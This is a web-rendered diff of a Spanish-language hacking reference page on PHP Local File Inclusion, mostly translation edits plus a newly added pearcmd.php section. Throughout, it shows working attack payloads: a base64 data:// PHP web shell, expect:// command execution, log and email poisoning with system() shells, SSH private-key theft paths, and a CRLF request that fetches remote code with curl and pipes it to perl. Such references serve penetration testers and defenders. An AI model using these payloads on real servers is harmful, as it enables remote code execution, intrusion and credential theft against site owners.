@ -361,11 +361,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Nota que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
|
||||
Tenga en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect tiene que estar activado. Puedes ejecutar código usando esto:
|
||||
Expect debe estar activado. Puede ejecutar código usando esto:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
|
@ -393,7 +393,7 @@ php --define phar.readonly=0 create_path.php
|
|||
```
|
||||
Al ejecutar, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI).
|
||||
|
||||
En casos donde el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
|
||||
En los casos en que el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
|
||||
|
||||
Para una comprensión detallada de la explotación de vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento vinculado a continuación:
|
||||
|
||||
|
@ -424,7 +424,7 @@ Ver más posibles [**protocolos para incluir aquí**](https://www.php.net/manual
|
|||
|
||||
## LFI a través de 'assert' de PHP
|
||||
|
||||
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se sanitiza adecuadamente.
|
||||
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de recorrido de directorios como ".." se está verificando pero no se está saneando adecuadamente.
|
||||
|
||||
Por ejemplo, el código PHP podría estar diseñado para prevenir el recorrido de directorios de la siguiente manera:
|
||||
```bash
|
||||
|
@ -438,7 +438,7 @@ De manera similar, para ejecutar comandos del sistema arbitrarios, se podría us
|
|||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Es importante **URL-encode estos payloads**.
|
||||
Es importante **codificar en URL estas cargas útiles**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -461,9 +461,9 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
|
|||
Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
|
||||
{% endhint %}
|
||||
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
|
||||
|
||||
En resumen, la técnica utiliza la **"codificación UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
|
||||
En resumen, la técnica utiliza la **codificación "UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
|
||||
|
||||
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||||
|
||||
|
@ -479,15 +479,15 @@ Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
|||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **user agent** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
|
||||
|
||||
Además, asegúrate de **escribir correctamente el payload** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
{% endhint %}
|
||||
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar URL encoded y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "user:password" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
|
||||
Otras posibles rutas de registro:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -504,7 +504,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Vía Email
|
||||
|
||||
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Vía /proc/\*/fd/\*
|
||||
|
||||
|
@ -552,18 +552,18 @@ Usa el LFI para incluir el archivo de sesión PHP
|
|||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### A través de ssh
|
||||
### Via ssh
|
||||
|
||||
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) y trata de acceder a **\<HOME>/.ssh/id\_rsa**
|
||||
|
||||
### **A través de** **vsftpd** _**registros**_
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
Los registros para el servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Local (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
|
||||
Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Local (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
|
||||
|
||||
1. Inyectar una carga útil de PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
|
||||
2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor de _**/var/log/vsftpd.log**_.
|
||||
|
||||
### A través del filtro base64 de php (usando base64)
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de carga útil:
|
||||
```url
|
||||
|
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|||
```
|
||||
### A través de filtros php (no se necesita archivo)
|
||||
|
||||
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||||
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
|
@ -595,7 +595,7 @@ Si encontraste una **Inclusión de Archivos Locales** y **Nginx** está ejecutá
|
|||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### A través de PHP_SESSION_UPLOAD_PROGRESS
|
||||
### A través de PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Locales** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
|
||||
|
||||
|
@ -611,9 +611,28 @@ Si encontraste una **Inclusión de Archivos Locales** y el servidor está ejecut
|
|||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### A través de `pearcmd.php` + argumentos de URL
|
||||
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe ser utilizado como un argumento.
|
||||
|
||||
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
El siguiente abuso de una vulnerabilidad CRLF para obtener RCE (de [**aquí**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### A través de phpinfo() (file\_uploads = on)
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Locales** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -621,13 +640,13 @@ Si encontraste una **Inclusión de Archivos Locales** y un archivo que expone **
|
|||
|
||||
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de Ruta
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Locales** y **puedes exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **eludir esa verificación** con esta **Condición de Carrera**:
|
||||
Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **eludir esa verificación** con esta **Condición de Carrera**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### A través de espera eterna + fuerza bruta
|
||||
### A través de espera eterna + bruteforce
|
||||
|
||||
Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
|
@ -635,12 +654,12 @@ Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el ser
|
|||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### A Fatal Error
|
||||
### A Error Fatal
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
||||
|
||||
**No sé cuán útil es esto, pero podría serlo.**\
|
||||
_Incluso si causas un Error Fatal de PHP, los archivos temporales subidos de PHP son eliminados._
|
||||
_Incluso si causas un Error Fatal de PHP, los archivos temporales subidos se eliminan._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -667,8 +686,8 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
|
|||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue